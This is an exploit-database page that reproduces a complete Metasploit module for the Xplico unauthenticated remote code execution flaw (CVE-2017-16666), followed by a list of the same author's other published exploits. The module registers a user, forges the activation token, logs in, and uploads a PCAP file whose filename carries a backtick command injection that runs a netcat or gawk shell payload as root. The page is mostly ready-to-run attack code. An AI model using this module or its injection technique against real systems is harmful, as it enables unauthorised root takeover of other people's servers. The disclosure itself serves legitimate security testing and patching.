Search for hundreds of thousands of exploits

"Xplico - Remote Code Execution (Metasploit)"

Author

Exploit author

"Mehmet Ince"

Platform

Exploit platform

linux

Release date

Exploit published date

2018-01-04

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Xplico Remote Code Execution',
      'Description'    => %q{
        This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
        command under the context of the root user.

        The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
        traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
        a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
        to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
        But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.

        One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
        of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['CVE', '2017-16666'],
          ['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
          ['URL', 'https://www.xplico.org/archives/1538']
        ],
      'Privileged'      => true,
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'DefaultOptions'  =>
        {
          'RPORT' => 9876
        },
      'Payload' =>
        {
          'Space'       => 252,
          'DisableNops' => true,
          'BadChars' => "\x2f\x22",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
            },
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Oct 29 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    # There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
    # which is not something we want to do for only check..!
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
    )
    if res && res.code == 302
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Unknown
    end
  end

  def initiate_session
    print_status('Initiating new session on server side')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
    )
    if res && res.code == 200
      res.get_cookies
    else
      nil
    end

  end

  def register_user(username, password)
    # First thing first, we need to get csrf token from registration form.
    print_status('Registering a new user')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
    end

    # rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
    email = ''
    email << rand_text_alpha_lower(rand(10)+4)
    email << '@'
    email << rand_text_alpha_lower(rand(10)+4)
    email << '.'
    email << rand_text_alpha_lower(rand(1)+2)

    # Create user
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][email]' => email,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.code == 302
      print_good('New user successfully registered')
      print_status("Username: #{username}")
      print_status("Password: #{password}")
    else
      fail_with(Failure::Unknown, 'Could not register new user')
    end

    # Awesome. We have user. We need to activate it manually..!
    print_status('Calculating em_key code of the user')

    unixtime = Time.parse(res.headers['Date']).to_i
    password_md5 = Rex::Text.md5(password)
    em_key = Rex::Text.md5(
      "#{email}#{password_md5}#{unixtime}"
    )
    print_status("Activating user with em_key = #{em_key}")

    # We need to follow redirections. Even if we managed to find em_key.
    # It will redirect us to the login form. We need to see registration completed on final page.
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
      'cookie' => @cookie
    )

    if res && res.code == 200 && res.body.include?('Registration Completed.')
      print_good('User successfully activated')
    else
      fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
    end
  end

  def login(username, password)
    # yet another csrf token gathering.
    print_status('Authenticating with our activated new user')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
    end

    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.body.include?('<a href="/pols">Cases</a>')
      print_good('Successfully authenticated')
    else
      fail_with(Failure::Unknown, 'Unable to login.')
    end

  end

  def create_new_case
    # We logged in. Not we need to create a new xplico case.
    print_status('Creating new case')
    pol_name = rand_text_alpha_lower(rand(4)+8)
    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[Capture][Type]' => 0,
        'data[Pol][name]' => pol_name,
        'data[Pol][external_ref]' => '',
      }
    )

    if res && res.body.include?('The Case has been created')
      res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
    else
      nil
    end
  end

  def create_new_sol(pol_id)
    # Since we xplico case, it's time to create a "session" for this case.
    print_status('Creating new xplico session for pcap')

    sol_name = rand_text_alpha_lower(rand(4)+8)
    # sols/add endpoint reads selected case id through session.
    # So we need to hit that end-point so we can insert pol_id into the current session data.
    send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
      'cookie' => @cookie,
    )

    # Creating new session.
    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[Sol][name]' => sol_name,
      }
    )

    if res && res.body.include?('The Session has been created')
      res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
    else
      nil
    end

  end

  def upload_pcap(sol_id)
    print_status('Uploading malformed PCAP file')
    # We are hitting this end-point so we can access sol_id through session on server-side.
    send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
      'cookie' => @cookie,
    )

    # Reading malformed pcap files.
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
    fd = ::File.open( path, 'rb')
    pcap = fd.read(fd.stat.size)
    fd.close

    data = Rex::MIME::Message.new
    data.add_part('POST', nil, nil, 'form-data; name="_method"')
    data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!

    # Uploading PCAP file.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
      'cookie' => @cookie,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    )

    if res && res.code == 302
      print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
    end

    # We can not wait all the day long to have session.
    # So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
    is_job_done = nil
    counter = 0
    until session_created? || !is_job_done.nil? || counter == 5
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
        'cookie' => @cookie,
      )
      if res && res.body.include?('File uploaded, wait start decoding...')
        print_status('Parsing has started. Wait for parser to get the job done...')
      end
      if res && res.body.include?('DECODING')
        print_good('We are at PCAP decoding phase. Little bit more patience...')
      end
      # Tbh decoding process is not going to be finished as long as we have msf session.
      # We are not going to see this case if we are successful exploiting.
      if res && res.body.include?('DECODING COMPLETED')
        print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
        is_job_done = 1
        next
      end
      sleep(1)
      counter += 1
    end

  end

  def exploit

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
    end

    # We need to access cookie from everywhere. Thus making it global variable.
    @cookie = initiate_session
    if @cookie.nil?
      fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
    end

    # We only need to access username and password for login func. Let's leave them as a local variables.
    password = rand_text_alpha(32)
    username = rand_text_alpha_lower(rand(8)+8)
    register_user(username, password)
    login(username, password)

    # We will need to have pol_id for creating new xplico session.
    pol_id = create_new_case
    if pol_id.nil?
      fail_with(Failure::Unknown, 'Unable to create New Case.')
    end
    print_good("New Case successfully creted. Our pol_id = #{pol_id}")

    # Create xplico session by using pol_id
    sol_id = create_new_sol(pol_id)
    if sol_id.nil?
      fail_with(Failure::Unknown, 'Unable to create New Sol.')
    end
    print_good("New Sols successfully creted. Our sol_id = #{sol_id}")

    # Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
    upload_pcap(sol_id)

  end
end
Release DateTitleTypePlatformAuthor
2020-07-14"Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)"webappsmultiple"Mehmet Ince"
2020-04-06"Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)"webappsmultiple"Mehmet Ince"
2019-01-07"Mailcleaner - Authenticated Remote Code Execution (Metasploit)"remotepython"Mehmet Ince"
2018-07-24"Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)"webappsphp"Mehmet Ince"
2018-06-26"Liferay Portal < 7.0.4 - Server-Side Request Forgery"webappsjava"Mehmet Ince"
2018-03-12"ManageEngine Applications Manager 13.5 - Remote Code Execution (Metasploit)"webappsjava"Mehmet Ince"
2018-01-04"Xplico - Remote Code Execution (Metasploit)"remotelinux"Mehmet Ince"
2017-10-11"Trend Micro InterScan Messaging Security (Virtual Appliance) - 'Proxy.php' Remote Code Execution (Metasploit)"webappsphp"Mehmet Ince"
2017-10-11"Trend Micro OfficeScan 11.0/XG (12.0) - Remote Code Execution (Metasploit)"webappsphp"Mehmet Ince"
2017-09-19"DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)"webappslinux"Mehmet Ince"
2017-09-12"osTicket 1.10 - SQL Injection (PoC)"webappsphp"Mehmet Ince"
2017-06-26"Symantec Messaging Gateway 10.6.2-7 - Remote Code Execution (Metasploit)"remotepython"Mehmet Ince"
2017-05-09"Crypttech CryptoLog - Remote Code Execution (Metasploit)"remotepython"Mehmet Ince"
2017-03-24"Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)"remotepython"Mehmet Ince"
2017-03-17"SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)"remotelinux"Mehmet Ince"
2017-01-31"AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)"webappsphp"Mehmet Ince"
2017-01-15"Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)"webappsmultiple"Mehmet Ince"
2017-01-08"ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities"webappsjava"Mehmet Ince"
2016-09-21"Kaltura 11.1.0-2 - Remote Code Execution (Metasploit)"remotephp"Mehmet Ince"
2016-07-25"Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)"webappsphp"Mehmet Ince"
2016-07-20"Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)"remotephp"Mehmet Ince"
2016-07-11"Tiki Wiki 15.1 - File Upload (Metasploit)"remotephp"Mehmet Ince"
2016-06-27"BigTree CMS 4.2.11 - SQL Injection"webappsphp"Mehmet Ince"
2016-06-15"BookingWizz Booking System < 5.5 - Multiple Vulnerabilities"webappsphp"Mehmet Ince"
2016-05-24"AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XML External Entity Injection"webappsasp"Mehmet Ince"
2014-04-24"Bonefire 0.7.1 - Reinstall Admin Account"webappsphp"Mehmet Ince"
2014-04-22"No-CMS 0.6.6 rev 1 - Admin Account Hijacking / Remote Code Execution via Static Encryption Key"webappsphp"Mehmet Ince"
2012-05-01"WordPress Plugin Zingiri Web Shop 2.4.2 - Persistent Cross-Site Scripting"webappsphp"Mehmet Ince"
2012-04-27"SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection"webappsphp"Mehmet Ince"
2012-04-26"WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities"webappsphp"Mehmet Ince"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/43430/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.